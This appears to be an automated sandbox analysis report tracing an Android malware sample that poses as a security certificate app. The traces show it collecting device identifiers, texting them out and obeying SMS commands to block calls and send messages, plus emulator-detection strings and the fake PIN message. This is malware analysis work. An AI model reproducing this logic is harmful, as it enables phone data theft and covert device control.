API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.util.Log->d Show source
API: com.security.cert.services.USSDDumbExtendedNetworkService->b Show source
API: android.app.Activity-><init> Show source
API: android.app.Activity->onCreate Show source
API: com.security.cert.ui.MainActivity->a Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->addFlags Show source
API: com.security.cert.ui.MainActivity->finish Show source
API: android.text.TextUtils->isEmpty Show source
API: android.text.TextUtils->isEmpty Show source
API: java.util.Random-><init> Show source
API: java.util.Random->nextInt Show source
API: java.lang.String->valueOf Show source
API: android.app.Activity->onCreate Show source
API: android.app.AlertDialog$Builder->setTitle Show source
API: com.security.cert.ui.MessageDialogActivity->getIntent Show source
API: android.app.AlertDialog$Builder->setMessage Show source
API: android.app.AlertDialog$Builder->setCancelable Show source
API: android.app.AlertDialog$Builder->setOnCancelListener Show source
API: android.app.Activity-><init> Show source
API: android.content.Intent-><init> Show source
API: com.security.cert.ui.UssdActivity->bindService Show source
API: android.app.Activity->onCreate Show source
API: com.security.cert.ui.UssdActivity->a Show source
API: com.security.cert.ui.UssdActivity->getIntent Show source
API: android.content.Intent->getStringExtra Show source
API: android.os.Handler-><init> Show source
API: android.os.Handler->postDelayed Show source
API: com.security.cert.ui.UssdActivity->unbindService Show source
API: android.app.Activity->onDestroy Show source
API: java.lang.CharSequence->toString Show source
API: java.net.URLEncoder->encode Show source
API: android.net.Uri->decode Show source
API: com.security.cert.ui.UssdActivity->finish Show source
API: com.security.cert.ui.UssdActivity->getLocalClassName Show source
API: android.os.RemoteException->getMessage Show source
API: android.util.Log->e Show source
API: android.app.Activity-><init> Show source
API: com.security.cert.ui.MessageDialogActivity->finish Show source
API: java.lang.Object-><init> Show source
API: java.lang.Object-><init> Show source
API: com.security.cert.ui.MessageDialogActivity->finish Show source
API: java.lang.Object-><init> Show source
API: com.security.cert.ui.UssdActivity->a Show source
API: com.security.cert.ui.UssdActivity->a Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: com.security.cert.ui.UssdActivity->b Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.net.Uri->parse Show source
API: android.content.Intent-><init> Show source
API: com.security.cert.ui.UssdActivity->startActivityForResult Show source
API: java.lang.Object->getClass Show source
API: java.lang.Class->getSimpleName Show source
API: android.os.RemoteException->getMessage Show source
API: android.util.Log->e Show source
API: com.a.a.a.b->a Show source
API: com.security.cert.ui.UssdActivity->a Show source
API: java.lang.Object-><init> Show source
API: com.security.cert.ui.UssdActivity->a Show source
Method: com.security.cert.ui.MessageDialogActivity.onCreate Show source
NameTypeValue
param0com.security.cert.ui.MessageDialogActivity
  • toString: com.security.cert.ui.MessageDialogActivity@a06d0800
NameTypeValue
Return Valueandroid.app.AlertDialog$Builder
  • toString: android.app.AlertDialog$Builder@a0664c60
Method: com.security.cert.ui.MessageDialogActivity.onCreate Show source
NameTypeValue
param0java.lang.Integer
  • toString: 2130968577
param1com.security.cert.ui.b
  • toString: com.security.cert.ui.b@a06a11d8
NameTypeValue
Return Valueandroid.app.AlertDialog$Builder
  • toString: android.app.AlertDialog$Builder@a0664c60
Method: com.security.cert.ui.MessageDialogActivity.onCreate Show source
NameTypeValue
Return Valueandroid.app.AlertDialog
  • toString: android.app.AlertDialog@a06c4a60
Method: com.security.cert.b.a.a.b Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuenull
  • $1: null
Method: com.security.cert.b.a.a.b Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.a.a.b Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.a.a.b Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.a.a.b Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.a.a.b Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.a.a.f Show source
NameTypeValue
param0java.lang.String
  • toString: queue
param1java.lang.String
  • toString: ""
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
Method: com.security.cert.b.a.a.d Show source
NameTypeValue
param0java.lang.String
  • toString: queue
param1java.lang.String
  • toString: ""
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
Method: com.security.cert.b.a.a.d Show source
NameTypeValue
param0java.lang.String
  • toString: queue
param1java.lang.String
  • toString: ""
NameTypeValue
Return Valuejava.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
Method: com.security.cert.b.a.a.e Show source
NameTypeValue
param0java.lang.String
  • toString: numbers_to_sms_divert
param1null
  • $1: null
NameTypeValue
Return Valuenull
  • $1: null
Method: com.security.cert.b.a.a.e Show source
NameTypeValue
param0java.lang.String
  • toString: numbers_to_call_block
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: \+41987654321
Method: com.security.cert.b.a.a.b Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.a.a.b Show source
NameTypeValue
param0java.lang.String
  • toString: user_id
param1null
  • $1: null
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.a.a.e Show source
NameTypeValue
param0java.lang.String
  • toString: numbers_to_sms_divert
param1null
  • $1: null
NameTypeValue
Return Valuenull
  • $1: null
Method: com.security.cert.services.SmsReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.IllegalStateException
  • toString: java.lang.IllegalStateException: Call while result is not pending
Method: com.security.cert.services.SmsReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.IllegalStateException
  • toString: java.lang.IllegalStateException: Call while result is not pending
Method: com.security.cert.services.c.onReceive Show source
Method: com.security.cert.ui.MainActivity.onCreate Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2130968593
NameTypeValue
Return Valuejava.lang.String
  • toString: Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
Method: com.security.cert.services.c.onReceive Show source
Method: com.security.cert.services.c.onReceive Show source
Method: com.security.cert.services.ReCheckCommandReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.RE_CHECK_COMMAND
Method: com.security.cert.services.ReSendQueueReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.RE_SEND_QUEUE
Method: com.security.cert.services.SmsSentReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.SMS_SENT
Method: com.security.cert.services.SmsSentReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.SMS_SENT
Method: com.security.cert.services.OnBootReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.BOOT_COMPLETED
Method: com.security.cert.services.SmsReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.provider.Telephony.SMS_RECEIVED
Method: com.security.cert.services.PhoneCallReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.PHONE_STATE
Method: com.security.cert.services.ReCheckCommandReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.intent.action.RE_CHECK_COMMAND
Method: com.security.cert.services.SmsReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: android.provider.Telephony.SMS_RECEIVED
Method: com.security.cert.services.SmsSentReceiver.onReceive Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[mParcelledData.dataSize=808]
Method: com.security.cert.services.SmsSentReceiver.onReceive Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[mParcelledData.dataSize=808]
Method: com.security.cert.services.SmsReceiver.onReceive Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{pdus=[Ljava.lang.Object;@a0722b90, format=3gpp}]
Method: com.security.cert.services.PhoneCallReceiver.onReceive Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{state=RINGING, incoming_number=+41987654321}]
Method: com.security.cert.services.SmsReceiver.onReceive Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{pdus=[Ljava.lang.Object;@a0716a28, format=3gpp}]
Method: com.security.cert.ui.UssdActivity.onCreate Show source
Method: com.security.cert.ui.MessageDialogActivity.onCreate Show source
NameTypeValue
param0java.lang.String
  • toString: message
NameTypeValue
Return Valuejava.lang.String
  • toString: Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
Method: com.security.cert.services.SmsSentReceiver.onReceive Show source
NameTypeValue
param0java.lang.String
  • toString: request
NameTypeValue
Return Valuejava.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
Method: com.security.cert.services.SmsSentReceiver.onReceive Show source
NameTypeValue
param0java.lang.String
  • toString: request
NameTypeValue
Return Valuejava.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
Method: com.security.cert.services.PhoneCallReceiver.onReceive Show source
NameTypeValue
param0java.lang.String
  • toString: state
NameTypeValue
Return Valuejava.lang.String
  • toString: RINGING
Method: com.security.cert.b.b.a.a.e Show source
Method: com.security.cert.b.b.a.a.c Show source
Method: com.security.cert.ui.MainActivity.onCreate Show source
NameTypeValue
param0java.lang.String
  • toString: message
param1java.lang.String
  • toString: Certificate installed successfully!Your device is protected now.Certificate PIN Code: 0518
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { flg=0x30000000 cmp=com.security.cert/.ui.MessageDialogActivity (has extras) }
Method: com.security.cert.a.a.d.a Show source
NameTypeValue
param0java.lang.String
  • toString: request
param1java.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.intent.action.SMS_SENT (has extras) }
Method: com.security.cert.a.a.d.a Show source
NameTypeValue
param0java.lang.String
  • toString: LoadingCallBack
param1com.security.cert.b.b.a.d
  • toString: com.security.cert.b.b.a.d@a066b7f0
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.intent.action.SMS_SENT (has extras) }
Method: com.security.cert.a.a.d.a Show source
NameTypeValue
param0java.lang.String
  • toString: request
param1java.lang.String
  • toString: {"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","rooted":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.intent.action.SMS_SENT (has extras) }
Method: com.security.cert.a.a.d.a Show source
NameTypeValue
param0java.lang.String
  • toString: LoadingCallBack
param1com.security.cert.b.b.a.d
  • toString: com.security.cert.b.b.a.d@a066b7f0
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.intent.action.SMS_SENT (has extras) }
Method: com.security.cert.services.PhoneCallReceiver.onReceive Show source
NameTypeValue
param0java.lang.String
  • toString: incoming_number
NameTypeValue
Return Valuejava.lang.String
  • toString: +41987654321
Method: com.security.cert.b.b.a Show source
NameTypeValue
param0android.app.ContextImpl$ApplicationContentResolver
  • toString: android.app.ContextImpl$ApplicationContentResolver@a065ff70
param1java.lang.String
  • toString: android_id
NameTypeValue
Return Valuejava.lang.String
  • toString: 4f0117b2cc9d8018
Method: com.security.cert.a.a.d.a Show source
NameTypeValue
param0java.lang.String
  • toString: +447937281444
param1null
  • $1: null
param2java.util.ArrayList
  • toString: [{"device_model":"Galaxy Nexus","phone_number":"477354977525045","device_serial_number":"4f0117b2cc9d8018","action":"register","app_version":"2.1","roote, d":"true","carrier":"T-Mobile Deutschland GmbH","language":"en","default_delay":60,"device_imei":"906251865357964","os_version":"4.2.1"}]
param3java.util.ArrayList
  • toString: [PendingIntent{a068ac48: android.os.BinderProxy@a06d7fe0}, PendingIntent{a06a8928: android.os.BinderProxy@a06d7fe0}]
param4null
  • $1: null
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
destinationAddressjava.lang.String
  • toString: +41666666
scAddressnull
  • $1: null
textjava.lang.String
  • toString: Joe Security says hello world!
sentIntentnull
  • $1: null
deliveryIntentnull
  • $1: null
Method: com.security.cert.services.SmsReceiver.a Show source
NameTypeValue
param0java.lang.Object
  • toString: [B@a0722a60
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@a06d42d8
Method: com.security.cert.services.SmsReceiver.b Show source
NameTypeValue
param0java.lang.Object
  • toString: [B@a0722a60
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@a06cb060
Method: com.security.cert.services.SmsReceiver.a Show source
NameTypeValue
param0java.lang.Object
  • toString: [B@a07169e8
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@a06dbf18
Method: com.security.cert.services.SmsReceiver.b Show source
NameTypeValue
param0java.lang.Object
  • toString: [B@a07169e8
  • $1: 2Tvz
  • $2: 01000A811032547698000005C47ABB9D07
NameTypeValue
Return Valueandroid.telephony.SmsMessage
  • toString: android.telephony.SmsMessage@a06c4398
Method: com.security.cert.services.SmsReceiver.a Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 0123456789
Method: com.security.cert.services.SmsReceiver.a Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 0123456789
Method: com.security.cert.services.SmsReceiver.b Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
Method: com.security.cert.services.SmsReceiver.b Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
Method: com.security.cert.b.b.b Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.b.b Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.b.b.b Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 906251865357964
Method: com.security.cert.services.PhoneCallReceiver.b Show source
NameTypeValue
Return Valuecom.android.internal.telephony.ITelephony$Stub$Proxy
  • toString: com.android.internal.telephony.ITelephony$Stub$Proxy@a06d1e98
Method: com.security.cert.b.b.c Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 477354977525045
Method: com.security.cert.b.b.c Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: 477354977525045
Method: com.security.cert.b.b.d Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: T-Mobile Deutschland GmbH
Method: com.security.cert.b.b.d Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: T-Mobile Deutschland GmbH
Method: com.security.cert.b.b.b Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
Method: com.security.cert.b.b.b Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
Method: com.security.cert.b.b.c Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
Method: com.security.cert.b.b.d Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
Method: com.security.cert.b.b.b Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
Method: com.security.cert.b.b.c Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
Method: com.security.cert.b.b.d Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
Method: com.security.cert.services.PhoneCallReceiver.b Show source
NameTypeValue
param0java.lang.String
  • toString: phone
NameTypeValue
Return Valueandroid.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
Method: com.security.cert.ui.MainActivity.onCreate Show source
NameTypeValue
intentandroid.content.Intent
  • toString: Intent { flg=0x30000000 cmp=com.security.cert/.ui.MessageDialogActivity (has extras) }
Method: com.security.cert.ui.MainActivity.onCreate Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
Method: com.security.cert.ui.MainActivity.onCreate Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
Method: com.security.cert.services.OnBootReceiver.onReceive Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
Method: com.security.cert.services.OnBootReceiver.onReceive Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
Method: com.security.cert.services.SmsReceiver.a Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
Method: com.security.cert.services.SmsReceiver.a Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
Method: com.security.cert.services.PhoneCallReceiver.c Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
Method: com.security.cert.services.PhoneCallReceiver.c Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
Method: com.security.cert.services.SmsReceiver.a Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckCommandsService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckCommandsService}
Method: com.security.cert.services.SmsReceiver.a Show source
NameTypeValue
param0android.content.Intent
  • toString: Intent { cmp=com.security.cert/.services.CheckQueueService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.security.cert/com.security.cert.services.CheckQueueService}
Method: com.security.cert.b.b.a Show source
Method: com.security.cert.b.b.a Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: --------- beginning of /dev/log/main
Method: com.security.cert.b.b.a Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: --------- beginning of /dev/log/system
Method: com.security.cert.b.b.a Show source
NameTypeValue
Return Valuenull
  • $1: null
Method: com.security.cert.b.b.a Show source
NameTypeValue
param0java.lang.String
  • toString: /system/app/Superuser.apk
NameTypeValue
Return Valuejava.io.File
  • toString: /system/app/Superuser.apk
Method: com.security.cert.b.b.a Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
Method: com.security.cert.services.PhoneCallReceiver.b Show source
NameTypeValue
param0android.telephony.TelephonyManager
  • toString: android.telephony.TelephonyManager@a067bf50
param1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@a06b5a68
NameTypeValue
Return Valuecom.android.internal.telephony.ITelephony$Stub$Proxy
  • toString: com.android.internal.telephony.ITelephony$Stub$Proxy@a06d1e98
Method: com.security.cert.services.PhoneCallReceiver.b Show source
NameTypeValue
param0java.lang.String
  • toString: getITelephony
param1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@a069aff8
NameTypeValue
Return Valuejava.lang.reflect.Method
  • getName: getITelephony
  • toString: private com.android.internal.telephony.ITelephony android.telephony.TelephonyManager.getITelephony()
Method: com.security.cert.b.b.a Show source
NameTypeValue
param0[Ljava.lang.String;
  • Arrays.toString: [logcat, -d, USSDDumbExtendedNetworkService:I, *:S]
  • toString: [Ljava.lang.String;@a06b8ef8
NameTypeValue
Return Valuejava.lang.ProcessManager$ProcessImpl
  • toString: Process[pid=2354]
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.a.a.b.a Show source
Method: com.security.cert.a.a.b.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.services.SmsReceiver.b Show source
Method: com.security.cert.services.SmsReceiver.b Show source
Method: com.security.cert.b.b.a Show source
Method: com.security.cert.b.b.a Show source
Method: com.security.cert.b.b.a Show source
Method: com.security.cert.b.b.a.a.d Show source
Method: com.security.cert.b.b.a.a.d Show source
Method: com.security.cert.a.a.b.a Show source
Method: com.security.cert.a.a.b.a Show source
Method: com.b.a.a.e.b Show source
Method: com.b.a.a.e.b Show source
Method: com.security.cert.ui.c.run Show source
Method: com.security.cert.ui.c.run Show source
Method: com.b.a.a.i.a Show source
Method: com.b.a.a.i.a Show source
Method: com.security.cert.a.a.b.a Show source
Method: com.security.cert.a.a.b.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.services.d.a Show source
Method: com.security.cert.b.b.a.a.a Show source
Method: com.security.cert.b.b.a.a.a Show source
Method: com.security.cert.b.b.a.a.a Show source
Method: com.security.cert.a.a.c.a Show source
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {}
Method: com.security.cert.a.a.c.a Show source
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {}
Method: com.security.cert.a.a.b.b Show source
NameTypeValue
param0java.lang.String
  • toString: {"e":0}
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {"e":0}
Method: com.security.cert.services.SmsReceiver.onReceive Show source
NameTypeValue
param0java.lang.String
  • toString: {"result":"true","command":"start_call_blocking","phone_number":"+41987654321"}
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {"command":"start_call_blocking","result":"true","phone_number":"+41987654321"}
Method: com.security.cert.a.a.c.a Show source
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {}
Method: com.security.cert.a.a.b.b Show source
NameTypeValue
param0java.lang.String
  • toString: {"e":0}
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {"e":0}
Method: com.security.cert.services.SmsReceiver.onReceive Show source
NameTypeValue
param0java.lang.String
  • toString: {"result":"true","command":"send_sms","phone_number":"+41666666","message_text":"Joe Security says hello world!"}
NameTypeValue
Return Valueorg.json.JSONObject
  • toString: {"message_text":"Joe Security says hello world!","command":"send_sms","result":"true","phone_number":"+41666666"}
Method: com.security.cert.b.b.a.a.a Show source
Method: com.security.cert.b.b.a.a.a Show source
Method: com.security.cert.b.b.a.a.a Show source
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.String
  • toString: true
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: command
NameTypeValue
Return Valuejava.lang.String
  • toString: start_call_blocking
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.String
  • toString: true
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: command
NameTypeValue
Return Valuejava.lang.String
  • toString: send_sms
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: phone_number
NameTypeValue
Return Valuejava.lang.String
  • toString: +41666666
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: message_text
NameTypeValue
Return Valuejava.lang.String
  • toString: Joe Security says hello world!
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
Method: com.security.cert.b.b.a.a.a Show source
NameTypeValue
param0java.lang.String
  • toString: result
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
Executed Methods
APIs
  • org.json.JSONObject.org.json.JSONObject
  • org.json.JSONObject.put
  • java.util.Locale.getDefault
  • java.util.Locale.getLanguage
  • org.json.JSONObject.put
  • java.lang.String.toLowerCase
  • java.lang.String.equals
  • java.lang.String.toLowerCase
  • java.lang.String.equals
  • java.lang.String.toLowerCase
  • java.lang.String.equals
  • org.json.JSONException.toString
  • android.util.Log.e
Strings
  • action
  • register
  • device_model
  • Galaxy Nexus
  • device_serial_number
  • device_imei
  • carrier
  • os_version
  • 4.2.1
  • phone_number
  • default_delay
  • rooted
  • true
  • language
  • app_version
  • 2.1
  • android
  • 000000000000000
  • 012345678912345
  • 15555215554
  • sdk
  • generic
  • false
  • ServerApi
Position Instruction Meta Information
0new-instance v3, Lorg/json/JSONObject;
2invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
  • Time: 114296
    • Return:
      • {}
3try_start_5:
4invoke-static {p0}, Lcom/security/cert/b/b;->a(Landroid/content/Context;)Ljava/lang/String;
5move-result-object v1
7invoke-static {p0}, Lcom/security/cert/b/b;->b(Landroid/content/Context;)Ljava/lang/String;
8move-result-object v0
10invoke-static {p0}, Lcom/security/cert/b/b;->c(Landroid/content/Context;)Ljava/lang/String;
11move-result-object v2
13invoke-static {p0}, Lcom/security/cert/b/b;->d(Landroid/content/Context;)Ljava/lang/String;
14move-result-object v4
15if-nez v2, :cond_19
17const-string v2, ""
18cond_19: if-nez v1, :cond_1d
20const-string v1, ""
21cond_1d: if-nez v0, :cond_21
23const-string v0, ""
24cond_21:
25const-string v5, "action"
27const-string v6, "register"
29invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: action
    • param1: register
31const-string v5, "device_model"
33sget-object v6, Landroid/os/Build;->MODEL:Ljava/lang/String;
  • Time: 114322
    • Return:
      • Galaxy Nexus
35invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: device_model
37const-string v5, "device_serial_number"
39invoke-virtual {v3, v5, v1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: device_serial_number
41const-string v1, "device_imei"
43invoke-virtual {v3, v1, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: device_imei
45const-string v0, "carrier"
47invoke-virtual {v3, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
  • Data flow analysis:
    • param0: carrier
49const-string v0, "os_version"
51sget-object v1, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
